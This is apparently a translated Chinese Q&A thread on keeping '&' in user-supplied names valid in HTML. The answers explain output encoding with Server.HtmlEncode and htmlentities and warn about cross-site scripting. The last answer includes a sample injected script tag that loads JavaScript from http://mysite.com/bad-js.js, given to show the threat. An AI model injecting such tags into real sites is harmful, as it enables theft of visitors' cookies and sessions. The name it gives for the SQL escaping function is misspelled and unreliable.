我有一个用户上传内容的网站,他们可以命名他们上传的内容。一些用户在他们的名字中包含了“&”,我得到一个 html 验证错误。有什么方法可以让“&”保留并验证页面?这将非常有帮助。如果没有,我还可以采取哪些其他措施来验证我的页面?谢谢!
2 回答
不,没有办法让页面使用无效内容进行验证。
而且,您不应该在没有正确编码的情况下显示内容!
很抱歉大喊大叫,但您的网站对跨站点脚本攻击很开放。任何人都可以将有害内容放入名称中,并且它将在其他人的浏览器中运行。
您如何执行此操作取决于您使用的平台。例如,在 ASP.NET 网络表单中,您将使用该Server.HtmlEncode
方法对字符串进行 HTML 编码。在 ASP.NET MVC 中,您将使用相同的,或者只是<%: %>
自动执行此操作的服务器标记。
在 php 中,您将需要使用htmlentities方法:
<?= htmlentities($username, ENT_QUOTES) ?>
如果用户输入了哪个将输出me&myself
(在 html 页面上显示值的正确方法)me&myself
总是总是清理用户输入。永远不要相信客户端浏览器发送给您的任何数据。如果有人在表单字段中输入了某些内容,切勿将其直接粘贴在数据库查询中(使用类似 的内容对其进行清理my_real_escape_string($user_input)
)。如果文本最初是由客户端提交的,切勿直接将文本打印到浏览器,始终将其转义(使用htmlentities
)。
您这样做的原因是因为恶意用户可以通过提交触发某些 javascript 的数据以及网络钓鱼或窃取其他客户的数据来对您的站点执行跨站点脚本攻击。如果我将我的名字设置为,<script type='javascript' src='http://mysite.com/bad-js.js' />
那么任何加载该页面的人都会在他们的浏览器上执行那个未知的和潜在的恶意 javascript,并访问他们的 cookie 和他们的会话。